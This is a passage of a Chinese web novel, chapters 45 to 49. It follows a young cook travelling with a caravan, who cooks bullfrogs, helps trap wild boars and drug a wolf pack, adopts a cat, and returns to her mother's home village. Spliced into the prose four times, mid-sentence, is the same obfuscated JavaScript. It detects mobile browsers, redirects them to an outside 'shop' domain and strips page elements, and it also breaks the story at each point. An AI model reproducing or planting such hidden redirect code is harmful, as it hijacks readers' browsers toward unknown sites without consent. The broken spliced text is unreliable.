苏慎看看自己碗里的麻雀，看看姜宁，纠结不定，最后可怜巴巴的也把自己的麻雀夹到姜宁碗里：“阿姐，我的也给你吃，这个香，你吃了补补身体。” 给是给了，可是视线好似被胶水，黏糊在麻雀上头，再也挪不开。 姜宁笑了，把麻雀夹回去：“吃你的吧，不差你这一口！” 吃完饭，她正要洗碗，已经被苏慎抢了过去，挺着小胸脯炫耀：“我来吧，我洗的可干净了！” 姜氏嘴角勾起来，捧着两只麻雀，钻进林子里。 才走了几步，便听到喵一声。 抬头便看见黑灰相见花纹的猫儿，慵懒的趴在高高的树干上，琥珀般的眼睛直直盯着她。 哦，是盯着她手里的两只麻雀。 她把麻雀放在理它最近的树干上，招呼猫儿：“小猫过来吃！” 喵嗷！ 小猫舔了下爪子，身子没动。 馋它那一身皮光水滑的毛，若能逮到怀里撸一番，一定爽翻了。 算了，小猫现在还不信任她，慢慢来吧。 她几步一回头，依依不舍回帐篷睡觉。 睡前，她打开系统面板，第二页已经加载好了，有许多付费视频。 第一个标题：如何又长又壮？ 好浮夸的标题，不过她喜欢。 她心虚的左右张望了一下，好奇的点开文字介绍：“人是铁饭是钢，一顿不吃饿得慌，作物也是一样，如何让植物变得又长又壮，硕果累累，当然是给它吃饱饭啦——肥料，该视频手把手教你配肥料，只要二百心值，诚意满满，快点购吧！” 嘁，还以为是什么小视频呢。 第二个标题：如何又硬又强？ 还来？ 她无所谓的点开介绍：“磨刀不误砍柴功，想要砍快柴，必须要一柄坚硬的砍刀，想要切菜快，必须要一把锋利的菜刀，如何让生铁变成坚固不断的利器，当然是炼钢啦，该视频手把手教你炼钢，只要一千心值，快点购吧！” 姜宁没了兴趣，自己一个小厨子，弄这些视频看，看了也用不到啊，无聊打了个哈欠，闭眼睡觉。 次日赶路，许是麻雀被吃怕了，吓破了胆子，不敢落到车上，大家没抓到麻雀，因为沿着小河走，不时听到呱呱叫声，闹得人心烦意乱，睡不着觉。 到了地方，有大锤帮着搭帐篷，苏慎打下手，姜氏也能慢慢走动搭把手，她去找赵队长。 赵队正组织人手，打算去林子里套些野鸡野兔回来加餐。 姜宁凑着赵队耳语了一番。 赵队眼前一亮，点头道好，用草绳连裤带鞋缠起来，领着十人，跳到河摊的水草里摸索，他们手脚麻利，不一会，便把附近有叫声的牛蛙全部摸完，总共摸到一百二十三只牛蛙，挤在箩筐里蹦蹦跳跳，呱呱呱吵闹不休。 旅客中有人眼红，也想下水摸牛蛙。 赵队长从水里爬上岸，把手里一条扭动的辣条甩在地上摔死，朗声道：“我们哥几个身强力壮，天天在外奔波，日日和这些东西打交道，不怕这东西，你们若有胆的，也只管下去摸。 牛蛙天生地长，谁摸到是谁的，但我丑话说在前头，被辣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128329|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条咬了，被水中刺扎了，被水溺了，下水冷到生病了，那是自找的，可别赖在我们兄弟头上！” “当然，这么多牛蛙，我们兄弟吃不完，会留着一半，请姜大厨做好，大家只要准备好铜钱，清清爽爽等着，就能吃得饱饱的，美美的。” 路正中那条还在不时挣扎扭动一下的辣条，吓退了大部分人，他们湿哒哒的裤子衣裳，又劝退了剩下的人，算了，还是吃现成的吧。 再说，这一片都被他们先下手抓完了，想抓牛蛙，要么往前走，要么去后头，荒郊野外的，谁也不愿意离人群太远。 大家听到可以买，自觉数好钱，排队找赵队长交钱。 顺便看姜宁料理牛蛙。 这么多牛蛙，姜宁一个人料理不开，请了车把势里的叔伯，帮忙剥皮去内脏。人多力量大，一箩筐的牛蛙，不一会，就变成了雪白的牛蛙肉。 赵队长担心血腥味引来野兽，打发牛二走得足有两公里远，把牛蛙皮和内脏埋了。 洗好的牛蛙，姜宁依次检查腹腔，需要把腹腔的黑膜撕干净，还有指甲剁掉，这些就是牛蛙腥臭的原因。 处理干净的牛蛙，倒入草木灰泡的清水，一勺粗盐，一把葱叶共同搓洗，洗掉上头的粘液，然后打干净清水漂洗干净。 姜宁分作两份，挑了十只出来，斩下牛蛙腿，冷水下锅放入姜片煮开后，倒入蛙腿肉，焯水看到有浮沫，立刻捞出。 洗干净锅下猪油，加入姜片葱段煸炒，然后放入焯好的水的牛蛙，翻炒几下，倒入一锅开水，大火滚开，一定是大火，这是汤汁变得奶白的关键。 汤汁便白后，换成小火慢慢炖煮一刻钟，撒一勺胡椒粉，几颗大枣。 剩下的便做成干锅牛蛙。 牛蛙洗干净后晾干水汽，撒点胡椒粉，细盐，干淀粉，烧酒抓匀。 锅里加菜油，加热至六成，先把大锤洗净切好的配菜，土豆条莴笋条炸黄捞出，锅里大火放入牛蛙，稍微炸一下捞出。 锅里把油倒出冷却，还能用的。 剩一点底油，放入花椒辣椒段炸出香味，加入豆瓣酱，姜片，蒜片，葱白炒香，然后放入牛蛙块翻炒，再放入半勺白糖提鲜，加入配菜，青椒段。 因为牛这些蛙生活在野外，所以再小火炖煮半刻钟，有效杀菌，虽然会影响口感，但没办法，必须保证安全，最后撒一把白芝麻，一勺盐调味，出锅装盘。 大家围着锅灶，见她操作行云流水赏心悦目，各种调料有条不紊的放进去，锅里的肉完成了华丽的转身，从粉嫩的白肉，变成了裹满红油冒着香气的熟肉。 今日的米饭是姜宁闷的，恰好透心，粒粒分明。 姜宁负责打饭菜，先是车队里的二十位车把势，然后是自家三份，大锤的一份，大锤找了簸箕当托盘分别端着送走，然后便是卖给各位客人。 也是一份饭上，满满盖一勺子鲜香麻辣的干锅牛蛙肉，然后再来一碗撒了翠绿葱花的奶白浓汤。 排第一的是周掌柜父子。 流着口水翘首以望半天，终于吃上了！ 46. 第 46 章 过了中秋，白日的太阳像个大火球一样炙烤着大地，晒得人发昏，到了傍晚，温度骤降，河水冰凉入骨。 赵队长领着兄弟们下水摸牛蛙，肚子里悬着跟线，万一哪个兄弟冻病了，他心里过意不去。 他们上岸后，换掉湿透的衣裳，坐在火堆旁烘烤，他巡视几个兄弟的脸色，面上比平时更僵白，他询问身子最单薄的山子：“山子兄弟，怎么样，有没有哪里不舒服，我包裹里有药丸，不行的话，一会吞一粒。” 山子吸了吸鼻子，有一点鼻音，不算重。 他不逞强，点头道好。 不一会，大锤用簸箕端来了饭菜，大家端起碗大口吃饭。 山子夹了一片染了白芝麻的红润牛蛙肉，一入嘴，好似有火在口腔里燃烧起来，花椒的麻和辣椒的辣，在热油的激发下，点燃了味蕾，初刻的微辣到持续的麻辣，让山子脑门上分泌出细小的汗珠。 尽管又辣又麻，山子筷子不停的送着肉块到嘴里，因为躲在麻辣下面的，是无与伦比的鲜香。 蛙肉本身鲜美，姜宁提前腌制过，祛除了蛙类的腥味，只保留了这层鲜美，外皮却有一层隐隐的脆壳，锁着水分，一嘴咬开，鲜甜的汁水冒出来，几乎没把舌头鲜掉。 外焦里嫩，吃在嘴里，鲜香麻辣交融，复合成一道让人欲罢不能的美味。 他一面辣的斯哈斯哈大口呼气，一面中了魔不停的吃，实在辣得顶不住的时候，扒拉一嘴粒粒分明软糯白米饭，用大米的清甜中和嘴里的灼烧感。 或者夹一片脆生生的青笋，沙糯的土豆条，缓解这种持续的酥麻感。 最后，再灌一碗滚烫的鲜味十足的雪白浓汤，尝一尝里头入口即化的白蛙腿肉。 山子生生吃出一身的汗，骨头缝里的寒气都被逼出，全身舒展开来，面色变得红润。 当赵队好心送药给他的时候，他拒绝了赵队的好意：“赵哥，真不用，我觉得，我从来没有如此强壮过！” 下了水的车把势们吃得大汗淋漓，其他乘客同样吃得全身酥麻。 姜家帐篷里，姜氏喝了半碗汤，热得直嚷嚷：“嗨，这个汤好烫，吃得我一身汗！不过，吃完后全身暖洋洋的，感觉很好！” 姜宁笑着解释：“牛蛙滋补，对身体很好的，你多喝一些。”她把汤底的肉分成两份，一份给了苏慎，嘱咐他吃完，才长得高。 一份用个小碗端着，走到旁边的林子里。 她步入树林约莫五十步，便听到一声喵儿。 抬头，右边的树枝上，猫儿睁着琥珀的眼睛，和她对视了一眼，然后，视线落在小碗里。 姜宁晃了晃手中的小碗，放到草地上，然后退后了几步，哄着猫儿：“你下来吃呗，我保证不抓你！” 小猫晃了晃尾巴，站起身，毛茸茸的爪子无声无息踏在树干上，轻轻跳了下，灵巧的落在碗边，先是嗅了嗅，然后伸出粉嫩舌头卷了块肉，尝了后，加快速度，一会便把一小碗肉吃干净。 姜宁趁机偷看它。 小猫的毛，全身黑黄相间的纹路，一路延伸到尾巴，翘起摇晃饿的尾巴上，形成了九个圈纹，典型的狸花猫。 脑袋正上方，有个M状的黑色纹路，一看就很霸气，脚上的毛是黑色的，腹中的毛是灰黄色的。 皮光水滑，感觉很壮，一看就是不缺吃不缺喝的状态。 等小猫吃完歪着头看她的时候，姜宁晃了晃手中的碗，诱哄：“你跟我回去呗，以后这样的肉，管够！” 小猫无动于衷。 姜宁上前，想摸一摸它毛茸茸的脑袋。 小猫喵嗷一声，灵巧避开，跳到了树上。 不给撸啊。 姜宁失望的拿着碗，往回走。 等她回到自家帐篷，扭头回望林子，发现，小猫跟着来了，不过和她保持了十步的距离。 姜宁兴奋的跑回自家帐篷，翻出一件旧衣服，垫在篮子里，提出来给小猫当窝。 猫儿瞅一眼篮子，琥珀的圆眼睛里闪过不屑，纵身一跃，跳到了他们帐篷顶上的横杆上站着，然后趴了下来，压塌一小片棚子。 好似再说，我要睡着这里。 好吧，小篮子窝配不上我们的猫大人。 听到动静的苏慎抱着鸡钻出了帐篷，看到帐篷顶端稳稳当当的大猫儿，护着蜷缩在他怀里的鸡，退后两步，他有些担忧：“阿姐，你带回来的猫，会不会咬我的小鸡崽子？” 姜宁和猫儿商量：“猫大人，这是我们家的大工臣，我们就靠它们两的蛋补身子呢，你千万别伤害它们！” 大猫懒洋洋趴在帐篷顶上，睥睨着视线落在两只小母鸡上一眼，而后移开，瞄了一声，算是应答。 好吧，姜宁单方面认为它答应了。 兴奋的拍了拍苏慎的肩膀解释：“它说了，以后会罩着你的两只鸡妹妹！” 苏慎？！ 喵一声，说了这么多？ 苏慎哦了一声，放下心，兴致勃勃询问：“阿姐，它叫什么？” 姜宁卡壳了，还没起名字呢。 试探的喊了一声：“大斑？大猫？” 猫儿歪着头，不搭理人。 “警长？” “猫姐？” “拽王？” “喵” 行吧，叫拽王！ 苏慎艳羡的看了一眼威风凛凛的狸花猫。 阿姐的猫儿有这么霸气的名字，自家的鸡儿名字好村：小花和小黄。 他决定帮自家鸡儿改个名字。 抱着鸡钻回帐篷，挖苦心思想新名字。 里头即可传来姜氏的骂声：“你又把鸡儿抱上被窝睡觉，要是跳蚤钻到我身上，我把它们丢给阿拽当零食！” 而后是苏慎弱弱的解释：“阿娘，小花小黄在边上，没有在被窝里。” 显然她听到了两人的对话，很是愉快接受了家里多了位成员阿拽。 & 半夜，月光明媚，各家棚子闯来起此彼伏的呼噜声，顶上的阿拽喵儿喵儿叫唤起来。 姜宁一个激灵，阿拽不会随意叫唤，难道又有贼人来偷东西。 不应该啊，队里有人值夜的，若是有贼人，他们肯定早叫嚷了起来。 姜宁立马穿好外套，摸了枕头旁边的木棍，钻出帐篷，只见阿拽目光狠厉对着林子，脊背弓了起来，她心下一惊，看向林子，黑黝黝的，看不清楚。 大锤今晚值夜，走到这边低声询问。 姜宁相信阿拽，把木棍塞给大锤，嘱咐他小心，自己跑到前头的帐篷喊赵队。 来到前面车把势们的帐篷口，姜宁稳了稳心神，喊答应后：“赵队长，我们帐篷侧面的林子，好似有东西躲在里头！” 里头的赵队心下一沉，低声叫醒所有车把势，跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133545|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身拿起武器，交代姜宁顺序叫醒所有人戒备，领着车把势们悄悄摸到帐篷那里。 防备的站在空地上，对着林子警戒。 林子里黑漆漆的，在月光下隐隐绰绰，看不清楚，偶尔能听到树枝被踩断的细微声音。 赵队不是坐以待毙的性子，丢了一只火把进林子，瞬间照亮了一片，也看清了里头躲着的东西：黑黝黝的六只大野猪！ 赵队长心下一沉，野猪群，杂食动物，皮糙肉厚，力大无穷，不好对付啊！ 被火把惊吓的野猪，四散奔逃，有一头，慌不择路，朝她们冲了过来。 姜宁在通知车队的时候，顺手拿了王家的渔网，看到野猪冲着自家的帐篷而来，大家四散躲开，姜氏杵着棍站在帐篷口，慌乱跳开竟然被绊倒了，吓得冒出一身白毛汗，立马把渔网抛了出去。 渔网罩住野猪，距离姜氏五步远的地方，野猪被绊倒，而后在渔网里左右突围，这么几下，就挣破了个大洞，眼看要逃出来，赵队长眼疾手快，一刀刺进野猪的喉咙。 野猪飙出一股热血，挣扎了两下，不动了！ 姜宁瘫软在地，好险，差点交代在这里。 赵队长捡起渔网，领着人点着火把，进了林子，利用渔网，挨个抓捕另外五头野猪！ 绑了个结实拖回来。 待他们回来，已经天明。 躺在地上的野猪早就咽了气，血留了一地。 空气里弥漫着浓重的血腥味。 赵队长脸都白了，这么浓重的血腥味，千万不要引来大家伙。 当机立断，通知所有人收拾行囊出发，离开这儿。 他们几人手脚并用，把野猪开膛破肚，丢掉内脏，冲洗干净肚腹，撒上些盐巴搓揉腌制，用车驮着赶路。 驴子好似知道后面有危险，不用车把势们甩鞭子，踢踢踏踏小跑起来。 车队紧赶慢走，中午停了一小会给驴子休息吃粮喝水，接着赶路，到了天黑，才停下。 赵队累得睁不开眼，叫来周掌柜，指挥大家背靠崖壁，在空地上安营扎寨，喊来姜宁：“现有的野猪肉，你随便弄些菜就是，我们兄弟眯一会！” 他感觉上空一片阴霾，不晓得今晚，会不会遇到野兽袭击。他们必须养精蓄锐做好准备。 昨日匆忙，野猪还未曾去毛，姜宁叫上大锤，捡了些干松毛来，点燃了一个大火堆，把猪放在上头烤。 干松毛不耐燃，一小会便熄灭了，野猪身上的毛也被烧干净，变成黑灰。 剩下耳洞腿下等隐蔽部位，重新用火把烧。 毛烧完，冲上几盆清水，用刀刮洗干净，就可以做饭了。 大家挤在崖壁前面的空地上，车里的东西全部卸在帐篷里，驴子也拴在里头，外头用车身，形成了一道简单的防护。 她和大锤就在入口处做饭。 天色慢慢黑下来，看着远处的林子，两人也怕。 姜宁支招：“听说野兽怕火，我们点个大火堆，野兽肯定不敢来！” 两人说干就干，把剩下的干柴搬出来，又砍了附近死了的干树来，架起一个大大的火堆。 另砍了三颗半大的活树，三颗树支撑在火上，用绳子吊起锅，放入洗干净的猪头，姜宁配上调料，盖上锅盖，坐在一边守着卤炖。 她看了一眼，慵懒趴在火堆旁的阿拽，心也跟着平静下来。 47. 第 47 章 晚饭是凉拌卤猪头肉。 卤好的猪头肉放凉，切成片，拍入蒜泥，陈醋，辣椒油，花椒面，细盐，少许白糖提鲜，一把白芝麻，拌匀后，再放一把切细的碧绿野葱。 锅里的卤汤，几乎用掉了一半的调料，姜宁舍不得扔掉，寻了木盆装好。 洗完锅，冲了个西红柿鸡蛋汤，五个鸡蛋一大锅，忒划算了。 饭菜好了，大锤用簸箕端着饭菜，送去赵领队他们的帐篷，姜宁在火堆旁盛饭给旅客。 四十文一份，一大碗米饭，配上一大勺卤猪头肉，送一份汤。 听着四周不时传来的狼嚎，营地里气氛有些压抑，大家一整日兴致不太高。 打了饭菜，不愿意回自家黑洞洞的帐篷，或蹲或坐围在篝火边，多些安全感。 猪头肉色泽红亮，入口满嘴咸鲜，肥而不腻，软糯弹韧，特别是猪脸和下嘴肌理细腻，口感嫩滑。 大家一面吃，一面赞叹不已，好靓的猪头肉。 话匣子慢慢打开，肚腹吃饱了，感觉浑身充满了力量，不少人豪气万丈，不就是几只扁毛畜生么，干死它们。 赵队在帐篷里休息了一会，醒来后先检查一圈营地，走到营地口张望。 被大家的激情感染，赵队忧虑的眉头，稍微舒展了些。温声安抚大家回去休息。 人群慢慢散开，营地口回复了安静，是剩下火堆噼里啪啦的炸响。 茂密的树林里，看着风平浪静。门口熊熊燃烧着一堆大柴火，炽热的火光，挡住了树林里的蠢蠢欲动。 姜宁切了半块猪耳朵，一片一片投喂阿拽，姜宁盘算着，只要再近些，就能摸摸它的黑脑袋。 猪耳朵上肉少，有脆骨，许多人吃不惯，姜宁很喜欢，香脆有嚼劲，阿拽也喜欢。 赵队看着姜宁和阿拽嬉戏，心下平和了许多，嘴角微微勾起，询问：“姜小兄弟，你不怕么？” 姜宁瞄一眼远处的树林，黑黝黝的，不时有幽绿的光闪过，那应该是野兽的眼睛。 自然是怕的。 可是阿拽安安静静的，说明，林子里的野兽，暂时没有进攻的打算。 她指了指火堆：“有火呢，它们暂且不敢来。” 姜宁抬起头询问赵队：“林子里藏着什么？” 赵队想了想，姜宁不是外人，猜测道：“应该是狼，看昨日的脚印，我估摸着，至少有十头！ 也是我们运气不佳，它们追击野猪，野猪逃避，逃到我们的营地上。 我们捆了野猪，也捆走了它们的口粮，昨日白送它们一头猪内脏，它们吃了后，许是贪婪成性，竟没有离开，还远远缀着我们后面。” 缀着后面干什么，自然趁他们不注意的时候给他们一口。 姜宁疑惑：“不能围剿么？” 只有千日做贼，没有千日防贼的道理。他们这么多人，还怕了几只畜生不成。 赵队忧虑：“我们拼尽全力，自然可以绞杀它们，只是，我们人少，围剿时走漏了几只，后患无穷。狼群记仇，若是没有斩草除根，记住了我们的味道，以后这条路上，经常来骚扰我们，烦不胜烦。” 若是狼群能自己离开，就好了。 姜宁沉默了。 他们人多，车队里都是普通老百姓，对上野兽，只有挨咬的份。车把势们以后还有在这条路上往返，不愿意惹上这么个大麻烦。 姜宁弱弱：“围剿容易逃脱，要是把它们全部药倒呢？” 赵队眼底精光一闪，炯炯看着姜宁：“你有什么办法？” 姜宁讪讪道：“我们母子出门在外，为了防身，高价弄了些蒙汗药，许能起一二作用。” 赵领队大喜：“好你个臭小子，竟然这些东西都有。” “这样，我回去和兄弟们商量一下，明日一早行动。” 晚上，车队二十人轮流十人，执利刃在火堆前轮守，对面林子里不时传来轻巧的脚步声，远远的还有野兽的低吼声，许是火堆威慑力太大，一夜无事。 天明，赵队和牛二两人，又杀了一头野猪，剖出内脏后，切成大块，撒上姜宁给的药粉。 整个车队急急忙忙离开。 在他们离开后，林子里快速冲出十一头灰毛野狼，对着野猪内脏，大块朵颐，不到一个时辰，便把一头猪内脏抢食干净。 而后，一头接一头，醉酒般，栽倒在营地上。 赵队带着牛二等十个人，去而复返，手持弓箭砍刀，慢慢靠近，见野狼躺在地上，无力抬了抬眼皮，便冲上前，在咽喉上补刀，快速结果了野狼的性命。 牛二被巨大的惊喜砸中：“头儿，我们发了！十一只野狼，完整的野狼，这些皮剥下来，送到官府去，我们能得多少奖金！” 野狼袭击村庄，叼走落单的小孩，官府鼓励村民打死野狼，送到官府，发放奖励。 赵队面上淡淡的，心底也对姜宁感激不已。 这小子脑子活泛，用渔网抓野猪，用蒙汗药药野狼，多亏了他，他们才能毫发无损，把野狼一网打尽。 几人又腾了一辆驴车，回来拉野狼的尸体。 没了威胁，车队恢复了欢声笑语，一路安全，终于到了歇脚的地方，一大片开阔的空地。 大家挤在驴车旁，围着看野狼和野猪。 野狼安安静静躺在车板上，野猪哼哼唧唧不老实，不停的挣扎。 赵队领着姜宁来看野猪和野狼，询问她的意见。 姜宁笑道：“天气热，野狼不耐放，拉到城里估计都臭了，不如剥皮拆骨腌制。” 赵队长道好，喊来车队里几个好手，几下便把狼皮，完整的剥下来鞣制，狼肉交给她处理，吩咐做给大家吃。 姜宁傻眼了，她两辈子，从来没有处理过狼肉啊。 姜宁叫上大锤，把内脏清洗干净，大肠，心肝等，泡水去腥后，放在昨日剩下的卤汤中炖煮，剩下的狼肉，分成条状，用盐巴腌制起来，留着带到城里，看能不能卖掉。 不用带到城里，车队里周掌柜是个懂货的，期期艾艾找到赵队，买了一整只狼肉，和一副狼骨，给出了两百文一公斤的高价。 他悄悄个赵队嘀咕：“狼肉性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137980|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热，男子多吃，有好处的！” 说完挤眉弄眼一番。 车队里有许多人，头次见到狼肉，也想尝个味，半斤八两的割，又分掉两只。 这便去掉了三头。 狼去掉皮毛内脏后，约莫剩下二十公斤，这里便入账十二贯。 赵队心中大喜，吩咐姜宁今晚的饭菜，不收钱了，大家放开来吃，当是给车队压压惊。 姜宁除了卤狼大肠，还用狼骨熬了一锅清汤。 她试探的夹了一片，感觉没有猪大肠香浓，一股子腥味，便不愿再吃，弄了点光饭配咸菜。 倒是姜氏喜欢喝羊骨汤，说是喝完全身暖暖的，苏慎见她不吃，也不愿意吃。 车队里其他人，吃得挺乐怀，不管是狼内脏，还是那些调料，都是外头难得一见的东西。对姜宁这个厨子，夸得天上仅有。 阿拽围着狼肉转圈，她切了一片后退肉给它，喵儿吃得非常开心投入，她悄悄在背上摸了一把，都没发现。 没了野兽挡道，他们一路顺利，又花费了五日功夫，终于到了花城。 送走其他旅客，赵队留着姜宁一家，在大车店旁的客栈，开了一间房，请他们入住，让他们稍等一日。 进了屋子，姜宁立马让店小二送来三大桶热水，三人分别痛痛快快洗了个澡，洗掉一路的风尘。 可惜，她抓阿拽洗澡，没抓到。 换上干净的衣裳，重新用桑葚水细细擦了脸，趴在窗子上，看着外头人来人往。 街上人来人往，和叶城同样人烟密集。 不过，她管观发现，街上两侧店铺里招待客人的老板，大部分是女子。 正说着话，赵队带着牛二，敲门进来。 赵队面上带着喜气，坐下来便和姜宁算账。 “卖了四日饭，赚到6.4贯，野猪六头合计卖了20贯，十一头狼肉合计卖了40贯，狼皮10贯，合计76.4贯，赔王汉子的渔网1贯4，剩下75贯。当时说好你占四层，这30贯，便是你的。” 说着，便推过来一袋钱。 姜宁看着鼓鼓囊囊的钱袋，没有伸手接，笑道：“赵哥，您说笑了，野猪我没出力，如何能分钱？” 赵队笑道：“若不是你教我们用渔网，我们哪里能逮到六头野猪？” “若不是你的蒙汗药，我们哪里能毫发无损抓到野狼，即便抓到了，腌制不好，卖不上价。我把狼肉拉到城里最大的醉仙楼后厨，人家尝了，没有讲价便买走了，直夸狼肉腌制得好，咸淡合宜，这钱是你该得的。 再说，没了这些畜生，我们以后走这条道，少了许多麻烦，我们还要多谢你才是！” 赵队言辞恳切，姜宁也不再推辞，接受了钱财。 临走，赵队笑嘻嘻对她道：“以后，若还有赚钱的好事，尽管来寻我，你就直接去大车店，说寻赵桩领队就是！” 姜宁送走赵队，询问姜氏：“阿娘，现在呢，我们去哪儿？” 她们手里有现钱110贯，还有一只金钗，在花城买个小铺面做生意糊口，也够够的！ 48. 第 48 章 姜氏仔细的看着街道上的一切，和记忆中十几年前的花城进行对照。 花城好似改变了，又好似没变。 街上的行人，打扮和她当年离开时候大同小异。 大车店客栈对街的铺子，做的是饭菜的生意，十多年过去了，依旧卖着饭菜，崭新的甑子，有了修补的裂痕。当年卖她饭菜的小娘子，现在变成了半老徐娘，面庞上落下了岁月的痕迹。 她伸出手，忽然，有些不敢看。 十多年，莹白如玉的手，如今，布满了老茧和大大小小伤口的痕迹，面庞上也有了纹路，这是在苏家村日夜劳作留下的。 这样回去，大姐，二姐，会笑话她的吧，笑她执意出走，现在落魄归来。 半响，她无力的叹了口气。 笑便笑吧。 她肯定要回去，跪拜父母的。 姜氏转身道：“我们雇辆骡车，明日一早，去平阴镇姜家村。” “一日的功夫便到了。” “行李里有布料，再买些精致的点心，果子，送给你两个姨妈家，还有村子里的邻居。” 她打发苏慎在客栈看行李，带着姜宁出门，买了点心后，姜氏站在首饰店前不肯挪步，拉着女儿的手，进了铺子，给姜宁挑了一对足有二两的，繁花缠枝银镯子，自己挑了一只银包铜挑花簪子，花了三贯。 回到客栈，在对门的饭馆，随意吃了些饭菜，歇息了一夜，次日凌晨，她叫醒儿女，让两人穿上新衣，自己换了苏悦做的细麻布衣裳，梳洗打扮，插上簪子，对着水盆比划，还算得体，领着一双儿女，坐上回家的驴车。 车上，姜氏简单介绍姜家。 “姜家村大部分村民姓姜，少数杨姓秦姓等，你还有两个姨妈两个舅舅。” “我们村子里，男不娶，女不嫁。生的孩子，跟着家里一起生活。” “当年我走的时候，你大姨妈有了丈夫，她丈夫，依旧生活在自己家里，晚上和农忙的时候，来家里住，平时，他住自己家。” “我那时，和你爹，经常出去玩，没碰见他几次，不算太熟。” 她和姜宁商量：“我和你外婆吵架离家的时候，你二姨妈和两个舅舅，还没有寻到意中人，这些年过去了，不知道，有几个孩子，到时候，我们把杜夫子送的布料，一人分她们一块，每人够做件衣裳，也算是我这么多年，给他们补的生辰礼。 等后面我们站住脚了，我再给你买新的。” 姜宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145531|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然道好。 她现在穿着苏悦做的细麻布新衣，全手工定制，合身舒适。杜夫子送的绢布，她暂时用不上。 送给几个表兄弟姐妹，拉近彼此的距离，正好合适。 说着话，她们到了姜家村。 傍晚的阳光，照射在村口，村口聚集了一大堆人，围在一起，不晓得嚷嚷什么。 姜氏面色可见的紧张起来，呼吸急促了几分，她僵硬坐直了身子，目不斜视，直直看着前方。 她们家在村子中间，再半盏茶功夫，便到家了。 驴车车夫，按照她的要求进村，被挡住，下车吆喝起来：“各位大哥大姐，麻烦让一下路，让一下路！” 车夫的吆喝，打断了嚷嚷的人群，村民扭头，看到车里坐着的人，上下打量一番，有人交头接耳：“咦，车上的是，姜家老三！” “唷，头上带着银簪子，穿着新衣，看着挺光鲜！” “呀，两个孩子，是他姜家老三的吧，眼睛和她一个样，看着齐头正脸的，细皮嫩肉，应该是娇养的。” 立马有人喊道：“姜家老三，你大姐出门办事，你二姐夫要被打断腿，你二姐几乎哭死，回来的恰是时候，速速下车，快来帮帮你二姐！” 49. 第 49 章 被点了名字的姜氏愕然了一下，从驴车上下来，看到六神无主的二姐，和旁边咬着唇默默流泪，和二姐有五分相似的十六七岁小姑娘。 六个壮汉，扭着一个模样周正，但现在鼻青脸肿，衣裳错乱的男子。 早有热心的邻居解释。 这个被抓住的男子，便是姜氏的二姐夫，陈苍。 陈苍去年找人借贷了一百贯钱，现在连滚带利，涨到了一百六十贯，还不上钱，人家拿着借据地契来收田，要二姨姜万雪去衙门改名，不然便打折陈苍的腿。 村民咂舌，那可是三十亩上好肥田，平时正常买卖，至少值得三百贯，就这么被拿去抵押了，实在败家。 陈苍跪在地上痛哭流涕：“阿雪，救救我，我也是为了你！” “是你喜欢那尊玉佛，我才借钱买回来送你，想着一年了，一定能把钱还上，我也没料到生意如此不景气，一年了，竟然没能还上钱。” “你去衙门改了名吧，不然，我以后没了腿脚，如何走路，如何做工，如何养家！” 姜万雪颤着声痛斥：“你们也太不讲理了，一百贯，一年的利息便有六十贯，这是高利贷，我去衙门举检你们。” 壮汉中领头的矮个男，右脸颊一条刀疤，看着凶恶异常。 冷笑道：“你丈夫去年签字的时候，可没嫌弃利息高，我们也没拿刀驾着他写借据，你要上衙门，只管去，白纸黑字，欠债还钱，到哪里，我们都占理！” 等得不耐烦，顺着肚腹，重重踹了陈苍一脚，陈苍立马捂着肚子蜷缩在地，痛苦的哀嚎。 姜万雪心疼的扑在他身上，哭喊着，别打了别打了！ 我借钱给你们就是。 姜万雪扭头对着相邻：“各位姐妹兄弟，你们先拆借我些钱，帮我度过眼前难关，我大姐回来，我让我大姐还你们！” 大家你看看我，我看看你，七嘴八舌，一百六十贯，谁家里，也没有这么多现钱啊。 姜万雪病急乱投医，散乱着头发，跑到姜氏面前，苦苦哀求：“三妹，你帮帮我，我，我肯定还你钱！” 姜氏沉默不语。 她十多年没回家，家里什么光景不知道，不敢随意开口。 